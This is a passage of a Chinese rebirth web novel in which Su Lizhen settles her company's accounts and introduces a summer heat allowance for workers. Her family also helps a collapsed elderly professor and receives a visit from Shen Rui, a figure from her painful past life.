丁大勇悻悻地挠了挠脑袋,一边向后者投去求救的眼神,一边殷切地对苏丽珍讨好道:“妹子,你知道的,哥我写字一向难看……但是我每一笔花出去的账都记下来了!还有这票子,别看造的有点埋汰,其实一张都不少,保证你整理的时候都能对上!” 苏丽珍无语,所以你是早就打算让我重新做一遍账了是吗? 还有说什么写字不好看,真当她没看见薛老爷子给他讲课时,他记得笔记吗! 眼见苏丽珍的眼神变得危险,一旁笑够了的苏小麦总算帮忙打圆场。 “正好我作业也写的差不多了,珍珍,趁这会儿凉快,我帮你一起整理。” 苏丽珍能说什么,只能认命地抄起算盘重新拢账。 好在丁大勇对自己的乱摊子心里有数,他压根没动苏丽珍之前记得账册,都是另找了本子把这段时间的支出记录下来,虽然字迹凌乱又丢三落四,好歹该记的都记下了。 账目也比较简单,支出主要是工人工资和预先垫付的部分建材款,苏丽珍和苏小麦配合默契,不到一个小时就整理完了,最后只要往正式的账本上誊抄一遍就好。 拢完了账,丁大勇又说起了这趟来的另一个目的。 “妹子,我这段时间仔细观察过了,你推荐的顾兄弟聪明能干,为人踏实,大伙儿挺服他的,薛老也说他不错,所以我想提他当小队长,你看咋样?” 因为公司接到的活计多了,丁大勇就把手底下的人分成两队,同时开工,他和薛老爷子负责两边跑,正好支应得开。 苏丽珍没想到顾英杰表现得这么好,才共事三个月就得了自家师哥的好感,连一向不怎么夸人的薛老爷子也说他挺有潜力,她自然也为对方高兴。 而且在她心里,对筑梦公司的未来规划可不止于眼下,经历后世的她也深知一家公司想做大做强,招贤纳才必不可少,所以能当大用的人才当然是越多越好。 她遂点头道:“勇哥,既然你觉得他行,那就这么定吧。而且你是总经理,工地这边,你又最有发言权,这些事你看着来就好,不用跟我商量的。” 丁大勇却一脸认真道:“妹儿,话不是这么说,你也知道我就那点水平,自己都管不明白,更别说管别人了!” “我稀罕画图、设计,喜欢盖大房子,只要能做这些,我就心满意足了。所以公司管理上面,以后还是得靠妹子你自己了。” 苏丽珍听完有些无奈,这个话题其实他们之前就说过好几次了。丁大勇是跟薛老爷子一样的“建筑痴”,让他做设计施工相关的,再苦再累都甘之如饴,别的事情上就既没天分、也不愿努力。 如果不是苏丽珍现在要上学,苏卫华的身体又不允许他再操心“筑梦”这边,这人说不定早就撂挑子躲起来了。 不过想想,当初建立“筑梦”的初衷也是为了帮助师兄实现梦想,既然师兄志不在此,她也不该勉强。 师兄妹说着话,李翠英就端来放凉的绿豆汤给三人喝。 眼见要入伏了,暑气渐盛。还不到九点钟,丝丝缕缕的热气已经无孔不入,刚才专心理账时还不觉得,这会儿放下算盘,这才发现额头已经冒了汗。 “今天恐怕又是个热天。”苏小麦嘟囔了一句,就过去把风扇打开。 苏丽珍想了想,又对丁大勇说道:“哥,最近天热,咱们的工人又忙着赶工,月底发工资,我想给他们加一笔高温补贴。” “高温补贴?这是啥讲究?” 这个在当下还显得十分新颖的词汇,一下就吸引了所有人的注意力。 苏丽珍仔细解释道:“就是针对高温时期的补助。比如每年从七月一直到八月中旬,大概五十天左右的高温天气里,我们给在外干活的工人们一笔额外的补贴。” “正式工人,每人每天补贴四毛钱;临时工人三毛。但必须要求他们出勤做满一天工才能拿,你们觉得怎么样?” 众人听明白后,丁大勇马上举手表示赞同。 工地上干活本就辛苦,又赶上这样的炎炎夏日,能多拿钱,大伙儿干起活来就更有动力。一天能多拿三、四毛钱,一个月下来最少就是九块,最多的十二块,赶上许多人半个月工资了。 再说,以如今一根冰棍两分钱、绿豆冰棒四分钱的价格,一天三毛钱的补贴怎么看都绰绰有余。 既然他们兄妹俩都赞成,旁人自然没啥意见,倒是苏卫华凑趣:“闺女,你们想的可真周道。不过我想着既然三伏天有这个高温补贴,那数九的时候是不是也得有个‘寒冬补贴’啊?” 苏小麦“噗嗤”一下笑出声,“干爸,数九的时候天寒地冻的,大伙儿也干不了活啊!” 苏卫华一拍脑袋,“嗐,我还合计我这把终于反应快了一回,没想到快是快了,结果是拍巴掌吓老虎——啥用没有啊。” 众人这下都笑了起来。 苏丽珍顺手将高温补贴这一项正式列入记工表,交给丁大勇。 对比师兄的纯然高兴,苏丽珍想的更多一点。 公司想要招徕人才,总要先有个好名头,她做不到古人的“千金买骨”,只能从这些小道入手。 况且她刚刚整理了账目,今年的活计差不多能排到初冬上冻的时候,扣除各种人工、材料杂七杂八的费用,利润十分可观。 怪不得上辈子听说许多包工头富甲一方,早期做工程的利润着实丰厚。 不过说到利润,其实家里的饭店也很不错。 自打五月份以来,随着天气渐热,火锅的生意不可避免地受到影响。 面对这种情况,他们也是早有预料。李翠英当即调整配方,先后推出川味麻辣烫和冷锅串串两款新品。 麻辣烫在火锅汤底的基础上做了调整t,添加了更加浓郁的骨汤,麻辣鲜香的味道丝毫不比火锅逊色。 冷锅串串的汤底以藤椒为主,整体口味偏麻,又因为是冷锅汤底浸泡入味,口感更加清爽,炎炎夏日吃上一串,开胃又解馋。 这两款新品既能当主菜、又能做小吃,味道别具一格,鲜美异常,所以一经推出就大受好评。加上去年就打出名气的凉皮,三款菜品直接让饭店客流再度爆满,生意好的惊人。 分神间,厨房里熬制的麻辣烫和冷锅汤底的香味又飘了出来,这股麻辣椒香混合而成的霸道香气,即便是她身为店家人,也依然是闻一次就被征服一次。 像应和她的想法一样,窗子外这时惯常又响起妇女响亮的呵斥声:“你个没出息的,还跑人家窗底下吃饭来了,咋不馋死你!” 立马有公鸭嗓的少年声跟着求饶:“妈、妈,别踢、别踢,我这就回去……那啥,妈,你再给我点钱呗,我中午还想吃串串!” “我看你像个串!败家玩意儿,赶明儿老娘把你串起来吃了得了!” 数落了几句,到底又传来当妈的松口的声音,“串串像零嘴似的,还不如花五毛钱买一碗麻辣烫,分量大,还有荤有素的,剩下的汤底晚上煮面条,这多划算……” 这样的场景几乎三不五时就要上演,屋里的人不由都相视一笑。 这时,李翠英又端着一大盆香喷喷的串串过来,“时间还早,这汤底还没冷透呢,我怕大勇着急去工地,就先端来了!” 说完就招呼丁大勇,“孩子,赶快吃,我特意给你加了不少牛肉! 丁大勇立即欢呼一声,冲了过去,抓起一把串串就往嘴里塞,狼吞虎咽的样子把苏卫华看得直摇头,苏小麦也捂嘴直乐。 苏丽珍转头看着窗外灿烂的阳光,心里是难得的放松。 也只有这样的时刻,她才能感受到自己活着的意义。 正笑看着父母姐姐打趣师哥,这时,窗外忽然一声闷响,接着就听有人喊道:“哎呀,这有人晕倒了!” 第119章 一听这动静,屋里人赶忙冲向门口。 一到门外,果然看见一个十分消瘦的白发老人扑倒在门外的水泥石台上。 不远处两个出声的过路人,看见店里出来人也快步走了过来。 “大叔,大叔?” 苏卫华试探着上前轻唤了两声,见老人没有回应,忙又招呼丁大勇一起,小心翼翼把老人翻转过来,这才发现老人此时面色苍白,气息虚弱,额头上还磕了个血口子,看着伤得可不轻。 “这得赶紧送医院啊!” 苏丽珍便连忙嘱咐王树把平时拉酒水的推车腾出来,又让李翠英去找条厚实的褥子铺上,准备把人送去医院。 趁着准备的工夫,苏丽珍便跟那两个路人打听是怎么回事, 其中一个赶忙解释道:“小姑娘,这可不关我们的事啊!我们从这条街过来,老远就看见这个老人家站在你家店门口,一动不动地往里头看。” “我们还以为他在跟你们店里人搭话,谁知道我们走到你家这边的墙角时,他就突然整个人往前扑倒了!也不知道是不是有什么老毛病,但是真跟我们没关系!” 苏丽珍连忙安抚对方:“两位叔叔误会了,我不是怀疑你们。只是这位老大爷眼下看着情况紧急,实在耽误不得。但有些话不好说,我们就是想请两位帮忙做个见证,也免得将来闹出什么误会解释不清。” 那两人一听就明白了,当下满口答应下来,还把自己的联系地址留给苏丽珍,说是随时愿意帮他们证明。 这边一说妥当,那边推车也准备好了,在场几个男同志一起,把老人抬上了车。 丁大勇和王树把人送去医院。 苏丽珍这边谢过了两个路人,又问在场围观的其他人,有是否认识老人的,众人都各自摇头。 苏丽珍最后又把店员工们召集到一起,仔细询问了一番,确定店里也没人见过这老人。估计就是寻常想要进店的客人,或许手头拮据,所以才迟迟站在门口不敢进来? 没打听出结果也不能不管,人是经由他们送去医院的,所谓“送佛送到西”,眼下还是得想办法通知对方家人才行。 她也没耽搁,当即去了街道和派出所,把情况反应了一遍。 街道宋主任这会儿没在,但是其他人跟苏家也比较熟,一听这事也没含糊,立即派了个人跟苏丽珍一起去了趟分管这一片的派出所。 老熟人秦所长刚好在,就亲自带着苏丽珍和街道的同志赶到医院了解情况。 到了医院,他们刚好找到正在办住院手续的丁大勇。一问才知道老人的情况不算好,身上的病症多且杂,还有严重的营养不良,晕倒是因为低血糖。人送到医院经过医生救治,原本已经苏醒,只是醒过来没多久又开始呕吐。 医生说是之前那一摔造成了轻微脑震荡,也不排除更严重的后果,一切需要住院进一步观察。 他们一行人过来时,王树正留在病房里照顾老人。 似乎是刚刚折腾得厉害了,医生打了针,老人这会儿已经睡着了。 秦所长和街道的工作人员走到病床边仔细端详老人,这一看,秦所长立马吃了一惊。 “是孟老!” 睡梦中的老人似乎也听到了这一声惊呼,皱了皱花白的眉头,似乎很不愿被人打扰。 秦所长连忙比了个手势,示意大家出去说。 一出病房,秦所长就主动对苏丽珍解释道:“这位孟老叫孟知详,他的情况比较复杂。孟老原先是凤城大学的教授,当年遭人迫害被下放,妻儿也因此病逝。” “平/反后政府返还了他的家产,可他却坚持守在妻儿的坟冢前,一直不愿回来。” 几乎是他刚说完,一旁街道的工作人员立马惊呼道:“是不是那个在老‘富人巷’里有两家大宅子的留美博士?” 他这么一喊,连苏丽珍都想起来了。 当初他们还在客运站摆摊时,有两个姓周的混混受人指使,找他们麻烦。她拜托张表舅和他丈人一家,使了个小计策,把这兄弟俩教训了一顿。(见46章) 这俩混子当初挨揍的地方就是所谓的“富人巷”,那一片在过去都是有钱的富户人家居住,后来浩劫时期下放了一批人,等平/反后回来的并不多,那一片地方也越发没落。 这位在“富人巷”有两套大宅子,却死守着乡下妻儿坟冢不肯回来的老人,苏丽珍上辈子就记得特别清楚。 因为老人去世后,家产无人继承,两座宅子最后被收归国有,报纸上当时刊登过那两块地皮的价值,几乎震惊了半座凤城市。 没想到机缘巧合,今天竟无意间救了这位正主。 “孩子,今天还真是多亏了你们!” 秦所长继续说道,“孟老还有个亲人在首都,但因为两地距离太远,往来不便,所以委托了一个联系人隔段时间就过来照看下孟老。” “只是我听说这个联系人近期去了南方,又把人托付给了我一个在市局工作的老战友。孟老的情况耽误不得,我现在就去找我这个老战友,叫他想办法跟孟老那边的联系人或者亲人联系上,让那边尽快安排人过来。” “不过珍珍,这段时间还得劳烦你们家,先帮着照看一下孟老这边。” 赶上这种情况,苏丽珍自然痛快地答应下来。 秦所长又拍了拍丁大勇和王树的肩膀,说了声“辛苦”,就带着街道的工作人员一起走了。 眼见这会儿时间不早,苏丽珍准备让丁大勇先去工地,顺便回去跟苏卫华他们交代一声,自己和王树留下照看孟老。 又从丁大勇那里要来医院的收据,把他垫的钱补给他,丁大勇不肯拿,被苏丽珍强塞了过去。 “大勇哥,你拿着,这不是咱自己的事。人家秦伯伯也说是把人托付给我家了,所以以后肯定是直接找我们说话,自然不能让你来垫钱。” “再说,你好不容易攒了这点私房钱,总不能一次都搭进去吧!” 听小师妹打趣自己,丁大勇登时有些不好意思。 别看他现在动辄一掏一把钱,可那其实都是公司的公款,真属于他自己的那份,一个巴掌都凑不上。 这可不是丁大勇没挣钱! 因为年前他为躲避催婚,把所有赚的钱一声不吭都拿去买房子,惹得丁大娘伤心不已。所以作为惩罚,现在丁大勇每月到手的钱都必须上交。 这个规定也是苏卫华当t初拍板定下的,丁大勇可不敢不听。 所以这位手底下管着三、四十号人的公司总经理,其实兜里比脸都干净。 还是苏丽珍和苏小麦跟家长们求情,说好歹一个公司的领导,不能出门连根买烟钱都掏不出来,丁大勇这才被获准,每月能拿个五块钱做花用。 这五块钱说多不多、说少不少的,害得这一向粗枝大叶的人每天也要精打细算,就差扒拉算盘珠子了,真是想想就好笑。 丁大勇被调侃,自己也傻笑两声,想想小师妹说的有道理,这才收了钱。 苏丽珍刚把丁大勇送出病房,就见之前说去找人的秦所长忽然去而复返,而且身后还跟着两个面生的人。 “秦伯伯,您怎么又回来了?” 秦所长看见苏丽珍,老远就一拍大腿,指着身后两人中年岁大的那个,说道:“嗐,这可真赶巧了!孩子,这就是我说的那个战友,他是市局消防队的大队长,也是我的老上级。” 接着又对这人道:“老营长,就是这俩孩子和他们的家人发现了晕倒的孟老,又及时把人送到了医院。” 这位秦所长的老上级立马向苏丽珍两人表达了感谢,“孩子们,这次真是要感谢你们及时帮忙!我姓唐,你们要不嫌弃,就像喊你们秦伯伯一样,喊我声唐伯伯就行。” 苏丽珍观察这位唐大队长大约四十七、八的年纪,长得浓眉大眼,一身正气,心里十分有好感,当下也不扭捏,大大方方喊了人。 秦所长又指旁边的年轻人道:“这是孟老在太平庄大队的邻居,叫小田。,” 这个叫小田的小伙子年岁不大,这会儿满头满脸的汗水,神色狼狈又焦急,刚刚秦所长说话的时候,就不停往病房里张望,这会儿见终于能说上话,便赶忙跟苏丽珍再次确认,“这位大妹子,里头俺孟爷爷到底咋样了?俺现在能进去看看他不?” 苏丽珍看他确实着急,便又把医生诊断的结果详细复述了一遍,末了还道:“孟老刚刚睡着,他现在身体比较虚弱,医生说睡着反而是好事,有助身体机能恢复。” 小田听完犹豫了一瞬,到底怕惊扰孟知详,没敢进去。 扒着门窗户往里看了一会儿,他就抱着脑袋蹲在地上,嘴里不停念叨着“完了完了”,神情沮丧极了。 唐大队长便跟苏丽珍两人解释道:“我也是太平庄出来的,小田他爸是大队书记,我们两家是没出五服的亲戚。孟老坚持住在太平庄,先前他一个故交的晚辈就托付我和小田他爸一起照顾老人家。” “孟老今天有事进城,本来是小田他爸陪着来的,但是不巧大队养猪场的猪闹了瘟,书记没时间出来,这才让小田送孟老过来。没想到小田中途买水的工夫,就跟老人家走散了!” “小田里外找了半天,实在找不着,只好来找我。我带了人四处打听,听说之前有人看见你们店的人送一个晕倒的老人去医院,我听人描述那个老人很像是孟老,就这么挨着个儿的打听下来,就来了医院,正好跟老秦碰上了。” 他话音一落,蹲着的小田几乎带着哭腔说道:“俺完了,俺没照看好孟爷爷,俺爸回去非弄死俺不可!” “俺也对不起沈先生,人家给俺们大队又捐学校、又捐猪场的,就让俺们帮忙照顾个人!可俺都干了啥,俺把人照顾得进了医院,俺咋那么没用,呜呜……” 说着、说着,最后竟抱头痛哭起来。 唐大队长看他那样,忍不住直皱眉头。苏丽珍瞧见他好几次抬腿,似乎想踹对方一脚,估计是顾忌她和师哥在场,到底忍了下来。 最后还是秦所长拍了拍小田肩膀,宽慰了他几句,好歹让这小伙子止住了泪。 既然孟老这边的人来了,苏丽珍他们也算完成了任务,在确定医院这边不需要他们留下后,三人就准备回去了。 走的时候,唐大队长再次表达了感谢,并把之前苏丽珍垫付的医药费还给了她。 这么会儿的工夫,花出去的钱又回到手上,苏丽珍心里还不由感叹,今天这好事做的还挺容易。 回去跟家人说起这位孟老的来历,众人也是唏嘘不已,都对这位命运坎坷的老人充满了同情。 苏卫华和李翠英还商量着等老人稍微好一些,他们也去医院探望一下,毕竟也算是缘分一场。 夫妻俩是两天后去的,原本苏丽珍也想跟着去一趟,只是刚好那天要返校拿成绩单,因此就错过了。 本以为这事就这么结束了,没想到一周后,店里突然有人带着礼物登门拜访。 那是一个她以为此生再不会见到的沈家人。 第120章 苏丽珍被父母叫下楼的时候,正在房间里试新衣服。 她很少买新衣服,因为打从上了初三就不怎么长个子了,所以她觉得以前的衣服就完全够用了。 可家里人不这么想,从前家里条件不好就算了,如今苏卫华和李翠英夫妻俩恨不得把所有好东西都给两个闺女安排上,所以看苏丽珍整天这么对付着,他们都受不了。 就在昨天,李翠英和苏小麦娘儿俩就“先斩后奏”,到北大街上一家新开的个人服装店买了一大堆回来。 衬衫、裙子、裤子、薄外套,好家伙,足足攒了六、七件! 今天一大早起来,苏小麦就拉着她,非让她把新买的衣服穿上不可。 苏丽珍没办法,挑了一套白色短衫和百褶裙换上。 短衫是时下流行的的确良,纯白、挺括的质地,上身后显得整个人神采奕奕,搭配上天蓝色百褶裙,再加上苏丽珍格外白皙的皮肤和五黑的长发,中和了她本身过分沉静的气质,难得洋溢出几分属于青春少女的天真娇俏。 一旁的苏小麦忍不住抱着脸发出满足的感叹:“珍珍,你真好看!我就说早该这样打扮打扮的!” 苏丽珍失笑,其实她也只是占了皮肤白这一点,论起五官精致度,是不及小麦姐的。 但是她知道家里人一向是她的“无脑吹”,无论什么都是她最好,甚至连她这个当事人都反对无效,是以当下也不反驳,只笑着跟她凑趣:“是我们家的姑娘都好看!现在我这个妹妹已经打扮好了,该轮到你这个姐姐了,快把你的也换上!” 苏小麦却不同意,“我就不用了吧!我身上这件就是新的,才上身半个月呢!” 打从去年住进苏家开始,干爸干妈就给她一气置办齐了一年四季的衣裳,厚的棉袄,薄的单衣,大的外套,小的线衣,样样都有,件件簇新。 就这样,昨天干妈还非要给她再买两身,她咋拦都拦不住。 苏丽珍哪能放过她,一边拉着她去翻衣柜、一边哄着她:“穿吧穿吧,姐妹俩当然要一起换新衣服!等你换好,我们一起下楼给咱爸咱妈看。” 昨天李翠英给苏小麦挑了两身衣服,一套跟苏丽珍现在身上的一样,是白色短袖衬衫配黑裙子;另一套是时下最流行的蓝白细格子连衣裙。 苏小麦最是拒绝不了苏丽珍的请求,到底把自己那件白色短袖换上了,却说什么也不肯再换新裙子。 姐妹俩在房间里玩闹,正是这时候李翠英上来喊人。 苏丽珍一问才知道,原是孟知详亲戚托付照顾他的晚辈知道他出事,已经从外地赶回来了,再了解了苏丽珍一家对孟老的帮助后,今天特意上门拜访,表示感谢。 一起陪同的还有那天在医院见过的的市局消防队唐大队长。 也是这个唐大队长话里话外不乏对苏丽珍的褒奖,因此苏卫华和李翠英才想着干脆叫苏丽珍姐妹下来说说话。 下楼的时候,李翠英还悄悄跟两个闺女小声感叹。 “孟老的这个晚辈长得老俊了,比电影演员都气派。人也知礼稳重,说话还好听,你爸跟他说了一会儿话就稀罕得不得了!” 苏丽珍还是头回看见李翠英这么夸一个刚认识的人,搞得她都有点好奇了,新来的客人莫非真这么出众吗? 说话间,娘儿三下了楼,穿过大厅,离得今天待客的小包间好几米远,就听见苏卫华爽朗的大笑声,也不知道里头的人说了什么有趣的事,把他逗得这样开心。 苏丽珍不由朝苏小麦挑了挑眉,苏小麦也不由跟着乐了起来。 然而等进了包间,根本不用父母介绍,只第一眼,苏丽珍就认出了这个气质卓绝的男人。 他是沈哲t的小叔,沈瑞。 她上辈子痴恋沈哲十年,可别说和沈哲发生点什么,就算她用尽一切办法,也始终连接近对方这一点都很难做到。 她记得那时,沈瑞经常开着一辆吉普车接送沈哲和齐秀婷。在自行车都是重要的家庭财产的岁月,一辆四个轮子的机动车所能引起的轰动可想而知。 于是学校里的人就渐渐都知道了,首都来的沈哲家世不俗;那个经常来接送他的、长相十分出众的男人不是他的哥哥,而是他的亲小叔,在特区开了好几家工厂,特别有钱,也是沈哲最依赖和崇拜的对象。 前世她曾天真地设想过,通过争取沈哲家人的认可来获得接近对方的机会。 可事实上,她和沈家在身份地位上的差距犹如天堑,别说争取什么认可,她连沈哲父母的面都见不到。 倒是眼前这位沈哲的小叔,她曾偶然见过几次,甚至有一次还说了话。 那是沈哲考上首都大学的第三年,她也执拗地参加了三次高考,最后却只考了凤城本地一所普通中专。之后,她利用假期打了一年零工,攒到路费后就在那年冬天,一个人坐车去了首都。 因为打听不到沈哲家的具体位置,她就跑去了沈哲的学校。当时正赶上周末沈哲回家,他的同学不知道她的底细,不但告诉了她沈哲的宿舍楼,还帮她打电话联系到沈哲家里。 结果那一整天,她都没有等到沈哲来。 直到傍晚的时候,沈瑞过来了一趟。 那时他靠在宿舍楼外的雨搭石柱旁,静静看着半个身子快要冻硬、狼狈得好像一只半死不活老鼠一样的她,直到吸完了一根烟,才走了过来。 “回去吧。沈哲永远不会见你,你也没机会再找到他。” 她到现在都记得沈瑞说这句话时的样子,没有想象中的反感、厌恶,只有平静、淡漠,就像她只是路边荒地的一抔土,秋天四处零落成泥的一片叶,根本不值得为此浪费任何东西,哪怕是一个眼神 那天晚上,她独自回到学校附近的小旅社后,发着烧哭了半宿。 即便这样,她也没有听对方的话,选择离开。 然而就像对方说的那样,她再没机会找到沈哲。沈哲的同学们不再搭理她,学校也开始驱逐她。 盘桓数日后,她身上的钱花的差不多了,也找不到任何能挣钱的工作,最终只能满含不甘地回了凤城。 有时候她常常想,其实以沈家的能力,想要摆平她这种人简直如同按死一只蚂蚁。 可对方从来没有这样做过,一方面也许是沈家人真的心善,但更多的还是不屑于此,也不屑于她这个人。 这也是她上辈子最大的悲哀。 所有她自认的情深不悔、为爱执着,都不过是一场一厢情愿的自我感动。 她已经很久没有再想起上辈子的这些事,哪怕在学校里会经常见到沈哲和齐秀婷,可在她能够坦然地将两人放在普通同学的位置,也能在心里真心祝福他们之后,她就再没想起前世那些令她痛苦的事。 她以为她放下了,这一切也会像风波过后的水面,慢慢归于美好的平静。 可今天意外看到沈瑞,她才知道并不是! 她放下的是上辈子对沈哲的错误迷恋,但她从没放下过那个前世走上一条错路、带给自己和家人无数伤害的自己。 前世的一切像积年的旧伤口,始终没办法愈合,只能隐在脆弱的皮肤下,也许只是一次不经意的碰触,就能让它再次皮开肉绽,鲜血淋漓。 这一刻,即便是身处阳光灿烂的盛夏,她的心也像裸/露在寒风刮过的荒原上,冷寂而苍凉。 到底不想让亲人察觉她的不妥,趁着李翠英介绍苏小麦的工夫,苏丽珍微垂下头,努力调整自己的心绪。 也是因此,她才没发现来自对面气质卓越的男人探究的眼神。 而等她收拾好心情,再次抬头时,对面也已经不着痕迹地收回了目光。 唐大队长长得严肃脸,但其实是个很爱说笑的人。他还一直夸苏丽珍和苏小麦两姐妹聪明懂事,将来肯定大有出息。 这话可是一下说到了苏卫华两口子的心巴上,如今衣食不愁,身体无碍,他们夫妻俩就盼着两个女儿好,连带着谁夸了姐妹俩一句,那可比夸他们自己高兴多了。 大抵是能感受到彼此的诚意,所以哪怕大家是初次见面,但气氛一直欢欣融洽。 就连沈瑞也全程表现的十分亲切,接起话题来自然流畅,毫无半点刻意,就像积年的忘年交,简直让人如沐春风。 看苏卫华夫妻俩眼中那满满的欣赏,可见这人实在深谙与人相处之道。 而这样的人通常没有一个是白给的,如果对方想玩什么手段,就算是重活了一辈子的苏丽珍也远不是对手。 众人又说了一会儿话,沈瑞和唐大队长毕竟不是什么闲人,两人很快就提出告辞。 沈瑞来的时候带了很多礼物,大包小包的几乎装了半个吉普车。苏卫华和李翠英本就不好意思收这么多东西,仓促下家里又没什么合适的回礼,便还按老办法收拾出一大包新鲜出锅的卤味给客人带回去,连唐大队长也有份。 一家人都出来送人,苏卫华夫妻还亲自把卤味帮他们放进吉普车里,正话别之际,就听路边忽然有人喊道:“珍珍!苏丽珍!” 苏丽珍一转头,发现是谢芳芳站在对面胡同口的背阴处,正朝她使劲挥手。 苏丽珍也朝对方招了下手,然后转头对客人歉意道:“抱歉,沈先生,唐伯伯,是我同学来找我了。” 唐大队长就笑眯眯道:“丫头快去吧,我们这就走了!快别让你同学等急了。” 苏丽珍朝两人点了点头,就转身朝谢芳芳走去。 谢芳芳没精打采地站在胡同口,手里拎着一个布兜子,也不知道晒了多久,小脸红彤彤的,留海都被汗水沾湿了。 看见苏丽珍来,她那圆溜溜的大眼睛登时一亮,忍不住夸道:“珍珍,你今天打扮得可真好看,像个漂亮的女大学生!” 苏丽珍抿嘴一笑,看她热成这样,赶忙道:“芳芳,你怎么站这儿啊!看你这一头的汗,快跟我进屋凉快凉快。” 谢芳芳不肯,因为每次来都忍不住吃掉好多卤肉,她觉得自己现在胖的像头小猪。可是珍珍家的卤味实在太香了,她又实在抵抗不了这种美味诱惑,所以最好的办法就是压根不进去! 她使劲摇头,“不用不用,其实我也没走多远,就是身体太差,像我爸说我的,冬天怕冷,夏天怕热。” “喏,我是来给你送蜂蜜的。这是我二叔托人买回来的,正宗洋槐蜜,每天早上起来喝一勺,对身体很好的!”说着,就把手里的布兜子塞给苏丽珍。 苏丽珍手上一沉,看见兜里果然是两瓶玻璃罐头瓶装的蜂蜜,看分量足有两斤了,忙还给她,“不行,这是你二叔给你们家买的,怎么能给我们。芳芳,你快拿回去!” 谢芳芳不肯接:“我家还有不少呢!给你,你就拿着嘛,我们家平时吃了你们家那么多东西,这才两罐子蜂蜜而已。” 苏丽珍失笑,这话说的好像谢家占了他们家多大便宜似的。 自打那次谢副市长来店里视察工作后,两家算是正式打了照面。 谢芳芳平时就很喜欢黏着苏丽珍,假期时常来玩,苏家即便知道了她的身份,仍然待她如常。 五月份苏卫华做手术的时候,谢芳芳和她的妈妈还一起到医院探病,两家自此开始走动起来。 谢妈妈很喜欢苏丽珍,时常邀请她到家里玩,但苏丽珍顾忌自家现在私营业主的身份有些敏感,也怕给谢副市长招麻烦,平时并不常去。 只是谢芳芳和谢妈妈都特别喜欢她家做的卤味和肉酱,所以每隔一段时间就让谢芳芳带一些回去。谢妈妈也经常给他们送一些回礼,双方往来的礼品都没有贵重的东西,却反而透着股亲近。 所以事情根本不像谢芳芳说的那样,谢家从来没占过苏家任何便宜,反而因为对苏家人印象好,还会特地关照他们家。 苏丽珍收下了东西,又听谢芳芳跟她告别,说是假期爷爷奶奶要带她去首都走亲戚,说不定要临近开学才回来,车票就定在了明天下午。 也就是说这一个假期,两人可能都见不到了。 对于这个格外依赖她,三不五时就像个小尾巴一样黏在她身后的小妹妹,苏丽珍一时也有些不舍。 苏丽珍看她不停擦汗,便劝t她先跟自己回楼上洗把脸,喝点凉快汽水,然后自己再送她回去,顺便再收拾点卤味和辣肉酱,让她给谢妈妈他们带回去。 谢芳芳到底没抗住美食的诱惑,还是美滋滋答应了。 两个女孩正要往回走,那边沈瑞和唐大队长已经坐上吉普车,车头调转,正好经过她们所在这个路口。 车身经过时,坐在副驾驶的唐大队长还朝苏丽珍挥了下手,苏丽珍也笑着摆手回应,只是抬眼的瞬间,却不期然与坐在更里面的沈瑞对上了目光。 不知道是车子行驶的原因,还是某种错觉,她总觉得对方这一刹那的眼神异常专注而锐利,似乎充满了探究,会让心底埋藏秘密的人无所遁形。 直到汽车驶离,留下淡淡的烟尘,苏丽珍攥了攥手里的布兜,平静地收回了目光。 “芳芳,咱们走吧!” 谁知这时谢芳芳却突然露出一副如梦初醒的表情,猛然一嗓子道:“哎呀,我可算想起来了,刚刚车里那个不是一班沈哲的小叔嘛!”《 》 120-130 第121章 苏丽珍有些惊讶,“芳芳,你认识他?” 谢芳芳点头:“他之前来过我家的。他还是沈哲的小叔,沈哲他爸在他们家排行老二,是去年空降到咱们军区的。我三叔也在部队,跟他关系还行。” “他们沈家在首都很有背景,老大好像从政,老二从军,就刚刚这位小叔是从了商,但那也不是一般的商。我听我爸说,他没靠家里,自己就在南边特区买了不少地,还开了两家厂子,厉害得很!” “对了,珍珍,我之前还没留意,刚刚他是从你们这儿出来的吧?你们家是怎么认识他的?” 苏丽珍刚要解释,就听她爸苏卫华站在店门口朝她们吆喝:“珍珍,大热天的,你俩站那儿唠啥,带芳芳回屋说话啊!” 苏丽珍反应过来,顾不上再说,赶忙把谢芳芳领回店里。 先带人到楼上洗了把脸,擦了点雪花膏,又拿了瓶冰镇的汽水给她解渴。 谢芳芳咕嘟咕嘟一气喝掉半瓶,嘴里不由使劲儿嚷嚷着“痛快”。 苏丽珍怕她贪多肚子疼,于是忙转移话题,给她解释了孟知祥的事。 谢芳芳听完里头原委,恍然道:“原来是这样,那还真是凑巧了。” “我听我爸说,沈家虽然根基在首都,但是他们家在外的亲朋故旧有不少,大多也是有头有脸的人物,我三叔也说老沈家风评不错。所以珍珍,趁着这个机会,你家能认识这么个人物也是件好事,没准将来能派上用场。” 这话把苏丽珍听得一愣,没想到眼前这位天不怕、地不怕的大小姐还能说出这么世故的话来。 谢芳芳看见她的眼神,不由翻了个白眼,“哎呀,你那什么眼神!真是的,我好歹也来你们家吃了这么多顿饭,我有什么不明白的!” “叔叔阿姨都是那么好的人,别人只当你们家钱挣的轻松,从没看见你们在人后吃的苦、用的心,我虽然性子不好,但也分得清好赖,我是真心盼着你们家越来越好的。” “不过就算他姓沈的派不上用场也无所谓,只要有我在,我就不允许任何人欺负你们!” 苏丽珍听完心里不由十分感动。上辈子的她没有朋友,从来不知道被朋友关心在意是什么感觉。可此刻,在听到朋友如此真挚的话语后,今天经历几番起落、满是疲惫的心里,也多了几分慰藉。 她握着谢芳芳的手,半晌才说出话:“芳芳,谢谢你,谢谢你对我这么好。” 不提对方纯粹真挚的友谊,就说谢家和安厂长之所以对他们家另眼相待,究其根源,也是因为眼前这个表面骄纵、实则单纯善良的女孩。 她这一世,能得到这样一个好朋友,实在是莫大的荣幸。 谢芳芳被她郑重的样子弄得有些不好意思,转脸又有点得意洋洋,忍不住道:“你才知道我对你好啊!现在能让本姑娘这么上心的,可就你苏丽珍一个,所以你必须得好好珍惜才行!” 苏丽珍认真点头,语气坚定道:“会的,我一定好好珍惜!” 两个女孩子相视一笑,彼此拉着的手握得紧紧的。 谢芳芳没有多待,李翠英听说她要去首都过暑假,临走时给她准备了一大包好吃的。知道谢妈妈苦夏,还给盛了一坛子新做的辣肉酱。 亲自把谢芳芳送上公交车后,苏丽珍一回店里就听李翠英叨念着今天的卤味见了底,清早起来煮的一大锅现在就剩点下水了,肯定不够卖,得赶紧再卤一锅。 苏丽珍拦住不让,“妈,这么热的天,还是算了吧。剩什么就卖什么吧,到时候跟客人解释一下,也别差这一天了!” 苏卫华也说:“珍珍说得对,这会儿不比早上凉快,你这一通忙活下来,当心又中暑,多遭罪啊!” 上个礼拜,有个老顾客家里办喜事,想让他们给喜宴提供卤味。 